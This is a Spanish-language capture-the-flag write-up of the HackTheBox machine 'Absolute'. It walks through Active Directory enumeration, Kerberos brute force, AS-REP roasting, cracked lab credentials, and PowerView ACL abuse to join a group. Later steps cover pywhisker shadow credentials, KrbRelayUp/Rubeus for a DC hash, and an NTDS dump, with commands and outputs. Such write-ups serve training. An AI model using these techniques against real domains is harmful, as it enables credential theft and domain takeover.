Absolute - HackTheBox
Buenas! Hoy vamos a completar la máquina Absolute de la plataforma HackTheBox, donde tocaremos los siguientes puntos:
- Enumerating Active Directory users with Exiftool
- Kerberos Brute Force attack to validate users in the Domain Controller
- ASPREPRoast Attack - GetNPMUsers.py
- Requesting TGT (Ticket-Granting Ticket)
- LDAP Enumeration with CrackMapExec
- SMB Enumeration
- Getting user credentials in SMB Server binary
- Bloodhound Enumeration
- Simulating a Active Directory enviroment in a Windows Server 2016 machine
- Using Pywhisker to create a PFX and its password
- Using GetTGTpkinit.py to obtain a TGT (Ticket-Granting Ticket)
- Using RunasCS and KrbRelay to get System Information
- Using Rubeus in order to get the NTLM Hash
- Dumping Domain Controller’s NTDS with CrackMapExec
Enumeración
Escaneo de puertos
Como en toda máquina, comenzaremos con un escaneo de puertos, en mi caso, utilizaré la herramienta nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.181 -oG allPorts
Nmap scan report for 10.10.11.181
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
80/tcp open http syn-ack ttl 127
88/tcp open kerberos-sec syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
5985/tcp open wsman syn-ack ttl 127
9389/tcp open adws syn-ack ttl 127
47001/tcp open winrm syn-ack ttl 127
49664/tcp open unknown syn-ack ttl 127
49665/tcp open unknown syn-ack ttl 127
49666/tcp open unknown syn-ack ttl 127
49667/tcp open unknown syn-ack ttl 127
49673/tcp open unknown syn-ack ttl 127
49674/tcp open unknown syn-ack ttl 127
49675/tcp open unknown syn-ack ttl 127
49686/tcp open unknown syn-ack ttl 127
49691/tcp open unknown syn-ack ttl 127
49701/tcp open unknown syn-ack ttl 127
49705/tcp open unknown syn-ack ttl 127
59140/tcp open unknown syn-ack ttl 127
Ahora que tenemos todos los puertos, realizaremos un escaneo mucho más exhaustivo con nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
❯ nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49673,49674,49675,49686,49691,49701,49705,59140 -sCV 10.10.11.181 -oN targeted
Nmap scan report for 10.10.11.181
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Absolute
| http-methods:
|_ Potentially risky methods: TRACE
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-05-02 03:25:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-02T03:26:34+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-05-01T13:35:11
|_Not valid after: 2024-04-30T13:35:11
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2023-05-02T03:26:33+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-05-01T13:35:11
|_Not valid after: 2024-04-30T13:35:11
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-05-01T13:35:11
|_Not valid after: 2024-04-30T13:35:11
|_ssl-date: 2023-05-02T03:26:34+00:00; +7h00m00s from scanner time.
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: absolute.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.absolute.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:dc.absolute.htb
| Not valid before: 2023-05-01T13:35:11
|_Not valid after: 2024-04-30T13:35:11
|_ssl-date: 2023-05-02T03:26:33+00:00; +7h00m00s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49674/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49675/tcp open msrpc Microsoft Windows RPC
49686/tcp open msrpc Microsoft Windows RPC
49691/tcp open msrpc Microsoft Windows RPC
49701/tcp open msrpc Microsoft Windows RPC
49705/tcp open msrpc Microsoft Windows RPC
59140/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-05-02T03:26:24
|_ start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
Si nos fijamos bien, obtenemos el dominio absolute.htb
y el subdominio dc.absolute.htb
, vamos a añadirlos al archivo /etc/hosts
Enumeración SMB (TCP -> 445)
Vamos a recopilar un poquito de información sobre la máquina, utilizaremos la herramienta crackmapexec
1
2
❯ cme smb 10.10.11.181
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
Nos percatamos que tiene el SMB firmado, asi que descartaremos el uso de la herramienta responder
Enumeración HTTP (TCP -> 80)
Accedemos al servicio web y nos encontramos lo siguiente
En la web no hay nada que nos llame la atención, menos las imagenes que están en la web, asi que las descargaremos recursivamente con el siguiente comando
1
❯ for i in {1..10}; do wget "http://absolute.htb/images/hero_$i.jpg" &>/dev/null; done
Ahora en nuestro directorio de trabajo tenemos todas las imágenes, analizaremos las imagenes con exiftool
en busca de metadatos
Explotación
Enumeración Usuarios AD
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ exiftool hero_1.jpg
ExifTool Version Number : 12.57
File Name : hero_1.jpg
Directory : .
File Size : 407 kB
File Modification Date/Time : 2022:06:07 21:45:20+02:00
File Access Date/Time : 2023:05:01 22:37:08+02:00
File Inode Change Date/Time : 2023:05:01 22:37:44+02:00
File Permissions : -rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
Exif Byte Order : Little-endian (Intel, II)
X Resolution : 72
Y Resolution : 72
Resolution Unit : inches
Artist : James Roberts
Y Cb Cr Positioning : Centered
Quality : 60%
XMP Toolkit : Image::ExifTool 11.88
Author : James Roberts
Creator Tool : Adobe Photoshop CC 2018 Macintosh
Derived From Document ID : 6413FD608B5C21D0939F910C0EFBBE44
Derived From Instance ID : 6413FD608B5C21D0939F910C0EFBBE44
Document ID : xmp.did:887A47FA048811EA8574B646AF4FC464
Instance ID : xmp.iid:887A47F9048811EA8574B646AF4FC464
DCT Encode Version : 100
APP14 Flags 0 : [14], Encoded with Blend=1 downsampling
APP14 Flags 1 : (none)
Color Transform : YCbCr
Image Width : 1900
Image Height : 1150
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 1900x1150
Megapixels : 2.2
Nos podemos percatar de un supuesto autor James Robors
, así que ahora analizaremos todas las imagenes descargadas en busca de más posibles usuarios
1
2
3
4
5
6
7
❯ exiftool hero_*.jpg | grep Author
Author : James Roberts
Author : Michael Chaffrey
Author : Donald Klay
Author : Sarah Osvald
Author : Jeffer Robinson
Author : Nicole Smith
Obtenemos una lista de posibles usuarios asi que las modificaremos para adaptarla a la posible lista de usuario normales en entornos de AD
Fuerza bruta Kerberos (Kerbrute)
Para comprobar si los usuarios anteriormente conseguidos son válidos en el entorno de AD, usaremos la herramienta Kerbrute
para validarlos
Tras lanzar el ataque vemos que existen varios usuarios válidos, asi que el siguiente paso será comprobar si alguno de estos usuario son vulnerables a ASP-REProast
ASP-REProast
Primero que todo vamos a comprobar si es vulnerable a ASP-REProast usando la herramienta GetNPUsers
de la suite de Impacket, observamos que el usuario klay.d
es vulnerable, conseguimos hash
Para crackear el hash utilizaremos la herramienta John The Ripper
Ticket-Granting-Ticket (TGT) -> d.klay
Conseguimos las credenciales d.klay:Darkmoonsky248girl
, utilizaremos la herramienta CrackMapExec
para ver si podemos enumerar los recursos compartidos a nivel de red
1
2
3
❯ cme smb 10.10.11.181 -u 'd.klay' -p 'Darkmoonsky248girl'
SMB 10.10.11.181 445 DC [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:absolute.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.181 445 DC [-] absolute.htb\d.klay:Darkmoonsky248girl STATUS_ACCOUNT_RESTRICTION
No funciona, lo más probable es que solo podamos utilizar el protocolo de autenticación Kerberos
, asi que tendremos que solicitar un TGT válido para obtener acceso, para conseguir el TGT utilizaremos la herramienta getTGT.py
de la suite de Impacket
Ahora que tenemos el ticket lo exportaremos a la variable KRB5CCNAME
1
❯ export KRB5CCNAME=/home/l4nder/Escritorio/HackTheBox/Absolute/content/d.klay.ccache
TGT -> svc_smb
Aún con el ticket no podremos enumerar los archivos compartidos a nivel de red, asi que enumeraremos el servicio LDAP a través de la autenticación kerberos, pero antes de lanzar la enumeración, tendremos que sincronizar la hora con la de la máquina victima, usaremos la herramienta ntpdate
1
2
3
❯ ntpdate 10.10.11.181
2023-05-02 06:05:03.800568 (+0200) +25200.140667 +/- 0.132597 10.10.11.181 s1 no-leap
CLOCK: time stepped by 25200.140667
Ahora lanzaremos el CrackMapExec
para enumerar LDAP
Encontramos lo que parece ser la contraseña del usuario svc_smb
con el que es probable que podamos conectarnos a los recursos compartidos por smb
1
svc_smb:AbsoluteSMBService123!
Recordemos que el único método de autenticación que nos funcionaba era a través de Kerberos, por lo que tenemos que conseguir el TGT del usuario svc_smb
Ahora utilizaremos CrackMapExec
para comprobar si de verdad tendremos acceso a los recursos compartidos
Ahora tenemos acceso a los recursos, asi que añadiremos --shares
al final para listar los recursos
Ahi se pueden ver los recursos a los que tenemos acceso, usaremos la herramienta smbclient
para conectarnos a ellos, recordad conectaros por Kerberos
Nos descargamos los archivos para analizarlos mejor en nuestro equipo
El archivo compiler.sh
no tiene nada interesante, por lo que vamos a pasar el .exe a una máquina Windows para analizarlo
1
2
3
#!/bin/bash
nim c -d:mingw --app:gui --cc:gcc -d:danger -d:strip $1
Vamos a ejecutar el binario a ver que sucede
Al ejecutarlo no sucede nada asi que abramos wireshark para ver si el binario envia cualquier tipo de datos. Conseguimos las siguientes credenciales m.lovegod:AbsoluteLDAP2022!
### TGT -> m.lovegod
Ahora al tener credenciales generaremos de nuevo otro TGT y posteriormente lanzaremos Bloodhound
para enumerar el dominio y buscar posibles vectores de ataque.
Una vez lo tenemos lanzaremos Bloodhound
y se nos generarán archivos .json que tendremos que importar más adelante
Como podemos ver en la imagen, tenemos un usuario winrm_user
con el que es probable que podamos acceder a la máquina y desde ahí escalar privilegios
- El usuario M.Lovegod es dueño del grupo Network Audit al que debemos pertenecer para posteriormente migrarnos al usuario WINRM
Para poder unirnos a este grupo debemos de realizar varias cosas
- Importar el módulo Powerview.ps1 y ejecutar los comandos que BloodHound nos proporciona para unirnos a este grupo
Emulación Windows Server 2019
Una vez estamos en la máquina Windows debemos realizar varios cambios:
- Tenemos que instalar Windows Server 2019 con el rol de AD
- Tendremos que añadir la IP de la máquina victima a la configuración de red en el apartado DNS
- Editar el archivo “C:\Windows\System32\Drivers\etc\hosts” y añadir el dominio absolute.htb
- Sincronizar la hora del Windows Server con la del dominio dc.absolute.htb
1
2
3
4
5
Import-Module .\PowerView.ps1
$SecPassword = ConvertTo-SecureString "AbsoluteLDAP2022!" -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential("Absolute.htb\m.lovegod", $SecPassword)
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "Network Audit" -Rights all -DomainController dc.absolute.htb -PrincipalIdentity "m.lovegod"
Add-ADPrincipalGroupMembership -Identity m.lovegod -MemberOf "Network Audit" -Credential $Cred -server dc.absolute.htb
Una vez hemos ejecutado estos comandos en la powershell tendremos que ir rápidamente a nuestra máquina atacante para ejecutar el siguiente comando
TGT -> winrm_user
1
❯ python3 pywhisker.py -d absolute.htb -u "m.lovegod" -k --no-pass -t "winrm_user" --action "add"
Al ejecutar el comando generamos un certificado con extensión pfx
y su contraseña, de esta forma podremos usar el certificado para generar un TGT del usuario winrm_user
a través del script getTGTPKinit.py.
Ya tenemos el TGT del usuario winrm_user
, por lo que exportaremos la variable de entorno KRB5CCNAME
1
❯ export KRB5CCNAME=/home/l4nder/Escritorio/HackTheBox/Absolute/content/winrmCcache
Ahora que tenemos el TGT, nos conectaremos con la herramienta Evil-WinRM
con este usuario, conseguimos la user flag
Escalada de Privilegios
Antes de comenzar con al escalada de privilegios tenemos que saber que solo existe un Administrador del Dominio y que ya estamos en el DC por lo que si conseguimos escalar privilegios seremos administradores del AD y podremos realizar un volcado del NTDS, de esta forma podremos usar el hash NTLM para conectarnos como Administrador.
El primer paso es generar y agregar una credencial oculta mediante KrbRelayUp
Al ejecutar el comando obtenemos un certificado y la contraseña del mismo, que usaremos a continuación para generar un TGT con Rubeus como DC$ y así conseguir un hash NTLM
Una vez tenemos el hash NTLM lo usamos para volcar el NTDS con CrackMapExec
Una vez tenemos el NTDS volcado usamos el hash para conectarnos a través de WinRM como el usuario administrador y podremos leer la flag de root